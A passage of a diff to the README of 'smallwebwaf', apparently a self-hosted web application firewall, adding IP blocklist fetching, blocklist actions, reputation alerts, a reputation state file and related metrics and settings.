JSON files across restarts, takes in your edits -of those files, such as a ban you make, keep or lift, and of the rule files -while it runs, writes a JSON log line for every request, sends its log lines to -a syslog server too if you name one, sends an alert to a webhook, to Slack and -to ntfy, each if you name one, for each ban it makes or makes permanent, for -traffic over an anomaly threshold you set, for GeoJS failing, for a rule file or -state file with an error and for a replacement of the lookup database it cannot -read, serves Prometheus metrics to a scraper that holds the metrics token, lets -an admin who holds the admin token list, add and lift bans and ask what it knows -of a client, and in `observe` mode passes on the requests it would refuse, -logging what it would have done with them. It comes as the image the app's own -image is built on. The rest of the design comes after that, in the order of the -build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to -the design is in [`EVALUATION.md`](EVALUATION.md). +history, GeoJS's answers and the last good copy of each list it fetches in JSON +files across restarts, takes in your edits of those files, such as a ban you +make, keep or lift, and of the rule files while it runs, writes a JSON log line +for every request, sends its log lines to a syslog server too if you name one, +sends an alert to a webhook, to Slack and to ntfy, each if you name one, for +each ban it makes or makes permanent, for traffic over an anomaly threshold you +set, for a client a blocklist lists, for GeoJS failing or a list it cannot +fetch, for a rule file or state file with an error and for a replacement of the +lookup database it cannot read, serves Prometheus metrics to a scraper that +holds the metrics token, lets an admin who holds the admin token list, add and +lift bans and ask what it knows of a client, and in `observe` mode passes on the +requests it would refuse, logging what it would have done with them. It comes as +the image the app's own image is built on. The rest of the design comes after +that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey of +existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -124,18 +128,20 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, and a request for a path `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts. - Gives the clients of the AS numbers and countries the biased thresholds list, - `SWWAF_ASN_LIMIT_PERCENT` and `SWWAF_COUNTRY_LIMIT_PERCENT`, the percentage - they give of every rate limit and byte limit, so that the same rules ban them - after fewer requests, and, while `SWWAF_UNKNOWN_LIMIT_PERCENT` is below 100, - every client without a country that percentage. A client to which several - apply gets the lowest. `SWWAF_ASN_BYTES_PERCENT` and - `SWWAF_COUNTRY_BYTES_PERCENT` give the AS numbers and countries they list a - percentage of the byte limits in place of the other two. Each client is - counted on its own, against its own lowered limits: no budget is shared by a - whole AS number or country, which one abuser could use up and so lock out - everyone else there. The log line of each request the rate limits count gives - its client's percentages below 100 and the settings that gave them, and so do - the notes of a ban for a lowered limit, and its alert. + `SWWAF_ASN_LIMIT_PERCENT`, the file `SWWAF_ASN_LIMIT_PERCENT_URL` names and + `SWWAF_COUNTRY_LIMIT_PERCENT`, the percentage they give of every rate limit + and byte limit, so that the same rules ban them after fewer requests, and, + while `SWWAF_UNKNOWN_LIMIT_PERCENT` is below 100, every client without a + country that percentage. A client to which several apply gets the lowest. For + the byte limits, `SWWAF_ASN_BYTES_PERCENT` gives an AS number it lists a + percentage in place of those `SWWAF_ASN_LIMIT_PERCENT` and the file give it, + and `SWWAF_COUNTRY_BYTES_PERCENT` gives a country it lists one in place of the + one `SWWAF_COUNTRY_LIMIT_PERCENT` gives it. Each client is counted on its own, + against its own lowered limits: no budget is shared by a whole AS number or + country, which one abuser could use up and so lock out everyone else there. + The log line of each request the rate limits count gives its client's + percentages below 100 and the settings that gave them, and so do the notes of + a ban for a lowered limit, and its alert. - Bans a client that breaks a rate limit or a byte limit, as "Bans" in [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit broken again within a day of a ban ending bans for three times as long as that @@ -191,34 +197,43 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of link-local address has no country and is never looked up: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless it is in `SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. +- Checks the client's own address against the blocklists `SWWAF_BLOCKLIST_URLS` + names, after the country lists and before the rate limits (see "Blocklists" + below). With `SWWAF_BLOCKLIST_ACTION` at `deny`, its default, a request from a + client a blocklist lists is refused with `SWWAF_BAN_RESPONSE` before its body + is read; it is not counted for the rate limits, and makes no ban. With + `limit:` the client gets that percentage of every rate limit and byte + limit, the lowest of its percentages applying, as for a biased threshold, and + with `log` nothing more is done. Whatever the action, the request's log line + names the lists, and each raises an alert. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its lookup included. A client in - `SWWAF_ALLOW_NETS` skips bans, the country lists, the rate limits, the byte - limits and the rule files, and is not looked up; the timeouts and size limits - still apply. A client in `SWWAF_DENY_NETS` is refused with + `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the rate + limits, the byte limits and the rule files, and is not looked up; the timeouts + and size limits still apply. A client in `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is read, and the request is not counted for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate limits, and has no bytes counted by the byte limits; the country lists, the rule files and bans still apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests - that `SWWAF_DENY_NETS`, a ban, the country lists, a rate limit or a rule would - refuse: it passes them to the app, and their log lines name what `enforce` - mode would have done (see `would_action` in "Request log" below). The checks - run, and requests and bytes are counted, as in `enforce` mode, with three - differences: neither a broken rate limit or byte limit nor a `ban` rule makes - a ban; a broken limit does not set the client's counters back to zero, so each - request over a rate limit is logged as one that would be refused, and each - whose bytes keep the client over a byte limit as breaking it; and a request - under a ban does not make it permanent. As in `enforce` mode, the bytes - counted are only those of the requests `enforce` mode would have passed to the - app. A ban it would have made, or made permanent, raises the alert `enforce` - mode would have raised, marked as what would have happened (see "Alerts" - below). The bans in `bans.json` are kept, and refuse requests again when - `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts - and size limits still apply, since they protect `smallwebwaf` and the app - themselves, and a request for one of `smallwebwaf`'s own endpoints without its - token is still answered `401`. It is for trying a configuration before + that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a rate limit or + a rule would refuse: it passes them to the app, and their log lines name what + `enforce` mode would have done (see `would_action` in "Request log" below). + The checks run, and requests and bytes are counted, as in `enforce` mode, with + three differences: neither a broken rate limit or byte limit nor a `ban` rule + makes a ban; a broken limit does not set the client's counters back to zero, + so each request over a rate limit is logged as one that would be refused, and + each whose bytes keep the client over a byte limit as breaking it; and a + request under a ban does not make it permanent. As in `enforce` mode, the + bytes counted are only those of the requests `enforce` mode would have passed + to the app. A ban it would have made, or made permanent, raises the alert + `enforce` mode would have raised, marked as what would have happened (see + "Alerts" below). The bans in `bans.json` are kept, and refuse requests again + when `smallwebwaf` next runs in `enforce` mode, as long as they last. The + timeouts and size limits still apply, since they protect `smallwebwaf` and the + app themselves, and a request for one of `smallwebwaf`'s own endpoints without + its token is still answered `401`. It is for trying a configuration before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. @@ -239,13 +254,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). - Sends an alert for each ban it makes or makes permanent, for a count over an - anomaly threshold, for GeoJS failing, for a rule file or state file with an - error, and for a replacement of the lookup database it cannot read, holding - back repeats and, past an hourly limit, rolling the rest into one summary, to - each destination you name: as a JSON object to the webhook - `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming webhook - `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy topic - `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). + anomaly threshold, for a client a blocklist lists, for GeoJS failing or a list + it cannot fetch, for a rule file or state file with an error, and for a + replacement of the lookup database it cannot read, holding back repeats and, + past an hourly limit, rolling the rest into one summary, to each destination + you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as + a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, + and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" + below). - Counts requests and their bytes over a minute and an hour, per client, per netblock around a client, per AS number, for the whole service and per named netblock, and sends an `anomaly` alert for a count over the anomaly threshold @@ -308,8 +324,8 @@ effective settings are logged at start. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the - country lists, the rate limits, the byte limits and the rule files, such as - your monitoring or your own networks. + country lists, the blocklists, the rate limits, the byte limits and the rule + files, such as your monitoring or your own networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the rate limits and the byte limits do not apply to, such as a machine that talks to the app all day. @@ -349,9 +365,10 @@ effective settings are logged at start. `SWWAF_LOOKUP_DB_PATH` names, or `off`, which looks up no client and sends no address to GeoJS. With `off`, a country list that is not empty, `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, a biased threshold that lowers a - limit, a list of them that is not empty or `SWWAF_UNKNOWN_LIMIT_PERCENT` below - 100, or an anomaly threshold per AS number that is not `off`, stops the start, - with a message naming it and `SWWAF_LOOKUP_SOURCE`. + limit, a list of them that is not empty, `SWWAF_ASN_LIMIT_PERCENT_URL` set or + `SWWAF_UNKNOWN_LIMIT_PERCENT` below 100, or an anomaly threshold per AS number + that is not `off`, stops the start, with a message naming it and + `SWWAF_LOOKUP_SOURCE`. - `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its `.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`. `file` without it, or it with any other `SWWAF_LOOKUP_SOURCE`, the default included, stops the start, with a @@ -389,11 +406,33 @@ effective settings are logged at start. client without a country gets: one the lookup cannot place, one on a private, loopback or link-local address, which is never looked up, and one whose answer from GeoJS has not come in time. +- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a + file of AS numbers, each with its percentage of every rate limit and byte + limit, one such as `AS14061:50` to a line, whose percentages count as those of + `SWWAF_ASN_LIMIT_PERCENT` do, so that one list can serve several instances. + For an AS number both give a percentage, the lower applies, and an AS number + the file lists twice gets the lower of its two. It is fetched and kept as a + blocklist is (see "Blocklists" below). A URL `SWWAF_BLOCKLIST_URLS` names too + stops the start. +- `SWWAF_BLOCKLIST_URLS` (default empty): the blocklists, as `http` or `https` + URLs without a user or a fragment, such as + `https://www.spamhaus.org/drop/drop.txt` (see "Blocklists" below). A URL + listed twice stops the start. +- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long after a list was last + fetched, or a fetch of it failed, it is fetched again, for the blocklists and + `SWWAF_ASN_LIMIT_PERCENT_URL`. Less than `1h` stops the start: the Spamhaus + lists may be fetched no more than once an hour. +- `SWWAF_BLOCKLIST_ACTION` (default `deny`): what is done with a client a + blocklist lists: `deny` refuses its requests with `SWWAF_BAN_RESPONSE`, + `limit:`, such as `limit:25`, gives it that percentage of every rate + limit and byte limit, and `log` does nothing more than note the lists in the + log line and raise the alert. - `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one that is banned, breaks a rate limit, matches a `ban` rule, is in - `SWWAF_DENY_NETS` or comes from a refused country: `403`, `429`, or `close` to - close the connection without an answer. Behind traefik, `close` does not leave - the client unanswered: traefik answers `502`, as it does whenever its backend + `SWWAF_DENY_NETS`, comes from a refused country or is in a blocklist while + `SWWAF_BLOCKLIST_ACTION` is `deny`: `403`, `429`, or `close` to close the + connection without an answer. Behind traefik, `close` does not leave the + client unanswered: traefik answers `502`, as it does whenever its backend drops a connection. A `block` rule always answers `403`. - `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate limit or byte limit. @@ -486,8 +525,8 @@ effective settings are logged at start. `SWWAF_INSTANCE_NAME`, which ntfy is sent in the title. - `SWWAF_ALERT_EVENTS` (default `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): - the events alerts are sent for. `waf_block` and `reputation_hit` come with the - features that raise them; nothing raises them yet. + the events alerts are sent for. `waf_block` comes with the Core Rule Set; + nothing raises it yet. - `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held back (see "Alerts" below). - `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour; @@ -536,9 +575,10 @@ an AS number or a country, `:` and a percentage; an AS number or a country listed twice in one of them stops the start. `off` switches a timeout, a size limit, a rate limit, a byte limit, an anomaly threshold, `SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, -`SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, the ban settings, the -state settings, `SWWAF_METRICS_TOP_N`, `SWWAF_LOG_REMOTE_BUFFER`, -`SWWAF_ANOMALY_NET_V4_PREFIX` and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. +`SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, +`SWWAF_BLOCKLIST_REFRESH`, the ban settings, the state settings, +`SWWAF_METRICS_TOP_N`, `SWWAF_LOG_REMOTE_BUFFER`, `SWWAF_ANOMALY_NET_V4_PREFIX` +and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. At @@ -626,26 +666,29 @@ which every line has. app's, as passed on, or those of `smallwebwaf`'s own answer. - `request_bytes` and `response_bytes` count body bytes. - `action` is `forward` for a request passed to the app, `denied` for one - refused because its client is in `SWWAF_DENY_NETS`, `banned` for one refused - because a ban covers its client or because it matched a `ban` rule, which bans - its client, `country_denied` for one refused for its client's country, - `rate_limited` for one that broke a rate limit and banned its client, - `rule_blocked` for one a `block` rule refused, `too_large` for a request or - response over its size limit, `timed_out` for one that ran out of time, - `upstream_error` when the app could not be reached or its answer broke off, - and `admin` for one `smallwebwaf` answered at its own endpoint. + refused because its client is in `SWWAF_DENY_NETS`, or in a blocklist while + `SWWAF_BLOCKLIST_ACTION` is `deny`, `banned` for one refused because a ban + covers its client or because it matched a `ban` rule, which bans its client, + `country_denied` for one refused for its client's country, `rate_limited` for + one that broke a rate limit and banned its client, `rule_blocked` for one a + `block` rule refused, `too_large` for a request or response over its size + limit, `timed_out` for one that ran out of time, `upstream_error` when the app + could not be reached or its answer broke off, and `admin` for one + `smallwebwaf` answered at its own endpoint. - `would_action` is there in `observe` mode for a request that - `SWWAF_DENY_NETS`, a ban, the country lists, a rate limit or a rule would have - refused in `enforce` mode, and names the action that refusal would have had: - `denied`, `banned`, `country_denied`, `rate_limited` or `rule_blocked`. - `action` then names what was done: `forward` for a request passed to the app, - and another action, such as `too_large`, for one a size or time limit refused. + `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a rate limit or a + rule would have refused in `enforce` mode, and names the action that refusal + would have had: `denied`, `banned`, `country_denied`, `rate_limited` or + `rule_blocked`. `action` then names what was done: `forward` for a request + passed to the app, and another action, such as `too_large`, for one a size or + time limit refused. - `limit_percent` is there for a request the rate limits count whose client a - biased threshold gives less than the whole of the rate limits, and gives the - percentage it gets, with `limit_percent_setting` naming the setting that gave - it, such as `SWWAF_ASN_LIMIT_PERCENT`. `bytes_percent` and - `bytes_percent_setting` are the same for the byte limits. Each is left out - when the client gets the whole of those limits. + biased threshold, or `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, + gives less than the whole of the rate limits, and gives the percentage it + gets, with `limit_percent_setting` naming the setting that gave it, such as + `SWWAF_ASN_LIMIT_PERCENT`, or `SWWAF_ASN_LIMIT_PERCENT_URL` for the file it + names. `bytes_percent` and `bytes_percent_setting` are the same for the byte + limits. Each is left out when the client gets the whole of those limits. - `counts` gives the client's requests in the minute, the hour and the day as the rate limits count them, this request included: in each window, those in the bucket under way and a share of those in the bucket before, so a count can @@ -653,11 +696,11 @@ which every line has. broke it. It is left out for a request the rate limits do not count: the health check, one from a client in `SWWAF_ALLOW_NETS` or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, one for a path that - `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a ban - or the country lists refuse, or would refuse in `observe` mode. Its - `minute_bytes`, `hour_bytes` and `day_bytes` give the client's bytes in each - window as the byte limits count them, in the same way: for a request whose - bytes they count, with its own, once it has ended; for any other, those + `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a + ban, the country lists or a blocklist refuse, or would refuse in `observe` + mode. Its `minute_bytes`, `hour_bytes` and `day_bytes` give the client's bytes + in each window as the byte limits count them, in the same way: for a request + whose bytes they count, with its own, once it has ended; for any other, those counted before it. - `rule_ids` is there for a request that matched rules of the rule files, and lists their ids in the order they matched, up to the one that refused it. @@ -668,6 +711,12 @@ which every line has. several. `offence` is then `limit`. A request whose bytes broke a byte limit is not refused: its `action` is what it would have been otherwise, such as `forward`. +- `reputation` is there for a request whose client a blocklist lists, and gives + the URLs of the blocklists that list it, in the order `SWWAF_BLOCKLIST_URLS` + names them, whatever `SWWAF_BLOCKLIST_ACTION` says. It is left out for a + client the blocklists are not checked for: one in `SWWAF_ALLOW_NETS`, and one + `SWWAF_DENY_NETS`, a ban or the country lists refuse first, or would in + `observe` mode. - `ban_expires` is there for a request that made a ban or was refused under one, or in `observe` mode would have been refused under one, and gives when the ban ends, in the same form as `time`, or `permanent`. @@ -737,7 +786,11 @@ it, as below. An alert is for one of these events, and is sent when - `anomaly`: a count of requests or bytes over an anomaly threshold, raised by each request that ends with the count over it, in `observe` mode as in `enforce` mode. It refuses and bans nothing. -- `source_failure`: GeoJS failing or refusing `smallwebwaf`. +- `reputation_hit`: a request whose client a blocklist lists, one alert for each + blocklist that lists it, whatever `SWWAF_BLOCKLIST_ACTION` says, in `observe` + mode as in `enforce` mode. +- `source_failure`: GeoJS failing or refusing `smallwebwaf`, or a fetch of a + list failing (see "Blocklists" below). - `file_error`: a rule file edited while it runs that has an error, an edit of a state file set aside as `.bad`, a state file it could not write while running, or a replacement of the lookup database it could not read, which it @@ -800,25 +853,29 @@ is sent on one line: - `client` is the address of the client whose request raised the alert, and `netblock` the netblock of the ban, or for an `anomaly`, the netblock counted: the client's own, the netblock around it or a named netblock, and none for an - AS number or the whole service; both are empty for `source_failure` and + AS number or the whole service, or for a `reputation_hit`, the client's own, + as `client_group` gives it; both are empty for `source_failure` and `file_error`. `asn`, `as_name` and `country` are, for a ban, the client's as the ban's notes give them when the alert is raised: empty, as in this alert, when GeoJS had not answered about the client by then; for an `anomaly`, the - client's as the lookup gave them by the time its request ended. + client's as the lookup gave them by the time its request ended; for a + `reputation_hit`, the client's as its request's log line gives them. - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`; for an `anomaly`, what was counted over which threshold, such as - `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`. + `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`; + for a `reputation_hit`, `listed by a blocklist`. - `detail` is what is particular to the event: for a ban, its `cause`, when it ends as `ban_expires`, in the form the request log gives it, and its `notes`, as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`, `asn`, `total` or `watch`, as the settings name them, the `asn` counted for `asn` and the `name` of the named netblock for `watch`, the `window`, `minute` or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted - as the rate limits weigh theirs, and the `threshold`; for `source_failure`, - the `source`, `geojs`, the `error`, and when GeoJS is asked again, - `asking_again_in`; for `file_error`, the `file`, which for an edit set aside - is the file it was renamed to, and the `error`, which for a file that does not - parse names where in it the error is. + as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`, + the `source`, the URL of the blocklist; for `source_failure`, the `source`, + `geojs` or the URL of the list, the `error`, and for GeoJS, when it is asked + again, `asking_again_in`; for `file_error`, the `file`, which for an edit set + aside is the file it was renamed to, and the `error`, which for a file that + does not parse names where in it the error is. - `suppressed_repeats` is how many repeats the cooldown held back before this alert, and for a `summary`, those no other alert gives (see below). @@ -863,14 +920,15 @@ and Slack this JSON object, shown indented; it is sent on one line: } ``` -An alert for the same event as the last one sent, on the same netblock, or for a -`file_error` about the same file, or for a `source_failure` about the same -source, or for an `anomaly` in the same scope, with the same netblock, AS number -or name, whatever its window and kind, less than `SWWAF_ALERT_COOLDOWN` after -it, is a repeat: it is held back and counted, and the next alert sent for them -gives that count as `suppressed_repeats`. As each hour of the clock, in UTC, -ends, the cooldowns that have run out are dropped, and the repeats they held -back, which no alert sent since has given, go in that hour's summary. +An alert for the same event as the last one sent, on the same netblock, and for +a `reputation_hit` about the same blocklist, or for a `file_error` about the +same file, or for a `source_failure` about the same source, or for an `anomaly` +in the same scope, with the same netblock, AS number or name, whatever its +window and kind, less than `SWWAF_ALERT_COOLDOWN` after it, is a repeat: it is +held back and counted, and the next alert sent for them gives that count as +`suppressed_repeats`. As each hour of the clock, in UTC, ends, the cooldowns +that have run out are dropped, and the repeats they held back, which no alert +sent since has given, go in that hour's summary. Past `SWWAF_ALERT_MAX_PER_HOUR` alerts in an hour, the hour's other alerts are held back and counted by event. An alert held back this way starts no cooldown. @@ -897,11 +955,12 @@ restart the alerts waiting are sent, and the cooldowns go on. ## State files -`smallwebwaf` keeps its state in memory and a copy of it in four JSON files in +`smallwebwaf` keeps its state in memory and a copy of it in five JSON files in `SWWAF_STATE_DIR`, `/var/lib/smallwebwaf` by default, as "Persistent state" in [`SPEC.md`](SPEC.md) describes. Each has a top-level `version`, 1, and lists its -entries by client address, but for the alerts waiting, and the anomaly counters, -which are listed by scope first, with times in UTC. +entries by client address, but for the alerts waiting, the anomaly counters, +which are listed by scope first, and the copies of the lists, listed by URL, +with times in UTC. - `bans.json`: every ban with its notes, indented to be read. A permanent ban's `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or @@ -927,25 +986,32 @@ which are listed by scope first, with times in UTC. `grep` shows everything about one. - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS number, AS name and country, when GeoJS gave it and when it was last used. +- `reputation.json`: each list fetched from a URL (see "Blocklists" below), + indented to be read, under `lists`: its `url`, when it was last `tried`, the + fetch failed or not, and its last good copy: when that was `fetched`, and its + `lines`, as fetched, comment lines included, each on a line of its own, both + left out while no fetch of it has succeeded. As the file is read, the lists + the settings no longer name are dropped. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be - read: under `cooldowns`, for each event and netblock, or event and `file` or - `source`, or for an `anomaly`, its `scope` with its `netblock`, `asn` or - `name`, or event alone, when the last alert was sent, `sent`, and the repeats - held back since, `suppressed_repeats`; under `hour`, the hour under way, from - its `start`, the alerts `sent` in it and those `held_back` for its summary, by - event; under `waiting`, for each destination you name, `webhook`, `slack` or - `ntfy`, the alerts still waiting to be sent to it, the oldest first, each as - the webhook is sent it; and under `anomaly_counters`, each anomaly counter: - its `scope`, as an `anomaly` alert names it, with the `netblock` of a client, - of a netblock around a client or of a named netblock, the `asn` of an AS - number and the `name` of a named netblock, and its two buckets of requests in - the minute and the hour, `minute` and `hour`, and of bytes, `minute_bytes` and - `hour_bytes`, each left out while it is empty. As an hour ends, the cooldowns - that have run out are dropped, and the hour's summary gives the repeats they - held back. As the file is read, the alerts waiting for a destination you no - longer name are dropped. A file whose `waiting` is a list, as it was before - alerts went to Slack and ntfy too, stops the start: put the list under - `"webhook"`, or remove the file. + read: under `cooldowns`, for each event and netblock, with the `source` too + for a `reputation_hit`, or event and `file` or `source`, or for an `anomaly`, + its `scope` with its `netblock`, `asn` or `name`, or event alone, when the + last alert was sent, `sent`, and the repeats held back since, + `suppressed_repeats`; under `hour`, the hour under way, from its `start`, the + alerts `sent` in it and those `held_back` for its summary, by event; under + `waiting`, for each destination you name, `webhook`, `slack` or `ntfy`, the + alerts still waiting to be sent to it, the oldest first, each as the webhook + is sent it; and under `anomaly_counters`, each anomaly counter: its `scope`, + as an `anomaly` alert names it, with the `netblock` of a client, of a netblock + around a client or of a named netblock, the `asn` of an AS number and the + `name` of a named netblock, and its two buckets of requests in the minute and + the hour, `minute` and `hour`, and of bytes, `minute_bytes` and `hour_bytes`, + each left out while it is empty. As an hour ends, the cooldowns that have run + out are dropped, and the hour's summary gives the repeats they held back. As + the file is read, the alerts waiting for a destination you no longer name are + dropped. A file whose `waiting` is a list, as it was before alerts went to + Slack and ntfy too, stops the start: put the list under `"webhook"`, or remove + the file. `bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted through `DELETE /_smallwebwaf/bans/`, or made permanent, with every such @@ -957,27 +1023,30 @@ whole. A write that fails is logged, raised as a `file_error` alert while changed since the last write. At start the files are read back: each client keeps its counts, so a restart -gives it no fresh allowance, each anomaly counter keeps its counts, and each ban +gives it no fresh allowance, each anomaly counter keeps its counts, each ban keeps refusing every client in its netblock until it ends, even after -`SWWAF_BAN_SCOPE_V4_PREFIX` has changed. A netblock whose address has bits past -its length, such as `203.0.113.9/24`, is read as the netblock it is in, -`203.0.113.0/24`. Buckets and answers whose time has passed are dropped, and so -is an anomaly counter left with no bucket. A missing file is empty state, as on -a first start. A file that does not parse, or has another `version`, stops the -start with a message naming the file, and the line and column where Go's JSON -decoder gives them; so does a state directory `smallwebwaf` cannot write. So -does an entry without a field it needs, named with the entry's place in the -file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent -ban; a client's `client`, or the `start` of a window in which it has requests or -bytes; an answer's `client`, `country`, which is `""` for a client GeoJS cannot -place, or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` -or `time`; an anomaly counter's `netblock`, unless it counts an AS number or the +`SWWAF_BAN_SCOPE_V4_PREFIX` has changed, and the copy of each list stays in use +until a fetch of it succeeds. A netblock whose address has bits past its length, +such as `203.0.113.9/24`, is read as the netblock it is in, `203.0.113.0/24`. +Buckets and answers whose time has passed are dropped, and so is an anomaly +counter left with no bucket. A missing file is empty state, as on a first start. +A file that does not parse, or has another `version`, stops the start with a +message naming the file, and the line and column where Go's JSON decoder gives +them; so does a state directory `smallwebwaf` cannot write. So does an entry +without a field it needs, named with the entry's place in the file: a ban's +`netblock`, `start` or `expires`, which is `null` for a permanent ban; a +client's `client`, or the `start` of a window in which it has requests or bytes; +an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, +or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or +`time`; an anomaly counter's `netblock`, unless it counts an AS number or the whole service, its `asn`, for an AS number, its `name`, for a named netblock, or -the `start` of a window in which it has requests or bytes. So does a ban whose +the `start` of a window in which it has requests or bytes; a list's `url`, +`fetched` or `lines`, which is `[]` for an empty list. So does a ban whose `cause` is not `limit`, `attack` or `admin`, alerts waiting for a destination -that is not `webhook`, `slack` or `ntfy`, and an anomaly counter whose `scope` -is not `client`, `net`, `asn`, `total` or `watch`. An answer's `asn` or -`as_name` left out reads as empty. +that is not `webhook`, `slack` or `ntfy`, an anomaly counter whose `scope` is +not `client`, `net`, `asn`, `total` or `watch`, and a copy of a list with a line +that would make its fetch fail. An answer's `asn` or `as_name` left out reads as +empty. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -987,14 +1056,14 @@ writes a file it takes in any edit made since, so your edit is not overwritten; a change `smallwebwaf` made after you opened the file, such as a new ban, is lost when you save over it. An edit that would stop the start, because it does not parse, has another `version`, leaves out a field an entry needs, gives a ban -another `cause`, names another destination or gives an anomaly counter another -`scope`, does not stop the running `smallwebwaf`: it keeps what it holds, and at -the file's next write renames your file to `.bad`, such as -`bans.json.bad`, writes the file again from memory, logs the file and where the -error is, and raises a `file_error` alert for it. It waits for that write -because an editor's file can be read before the editor has finished writing it. -Mend the `.bad` file and move it back. A file you remove is written again at its -next write. +another `cause`, names another destination, gives an anomaly counter another +`scope` or gives a list's copy a line that would make its fetch fail, does not +stop the running `smallwebwaf`: it keeps what it holds, and at the file's next +write renames your file to `.bad`, such as `bans.json.bad`, writes the +file again from memory, logs the file and where the error is, and raises a +`file_error` alert for it. It waits for that write because an editor's file can +be read before the editor has finished writing it. Mend the `.bad` file and move +it back. A file you remove is written again at its next write. To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start` and its `expires`, `null` for a ban that never ends; its `reason` and its @@ -1163,6 +1232,12 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets database in use was read; and `smallwebwaf_lookup_database_read_failures_total`: the replacements of it that could not be read. +- By `source`, the URL of each list `SWWAF_BLOCKLIST_URLS` or + `SWWAF_ASN_LIMIT_PERCENT_URL` names: `smallwebwaf_reputation_hits_total`: the + requests whose client the blocklist lists, a series that comes with the first; + `smallwebwaf_reputation_failures_total`: the fetches of the list that failed; + and `smallwebwaf_reputation_last_fetch_timestamp_seconds`: when the copy of it + in use was fetched, `0` while there is none. - `smallwebwaf_tracked_clients`: the clients in the table of clients. - `smallwebwaf_state_file_writes_total`, `smallwebwaf_state_file_write_failures_total`, @@ -1354,9 +1429,9 @@ goes through the candidates one by one. readable JSON files, written regularly and at every stop, so a restart loses nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks up the change. Nothing is read from disk while serving a request. The files - for the bans, the clients, the GeoJS answers and the alerts are built, with an - edit taken in while running (see "State files" above); the others come with - their features. + for the bans, the clients, the GeoJS answers, the copies of the lists and the + alerts are built, with an edit taken in while running (see "State files" + above); the rest comes with its features. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -1376,7 +1451,7 @@ For each request `smallwebwaf`: the deny list or currently banned; - looks up its AS 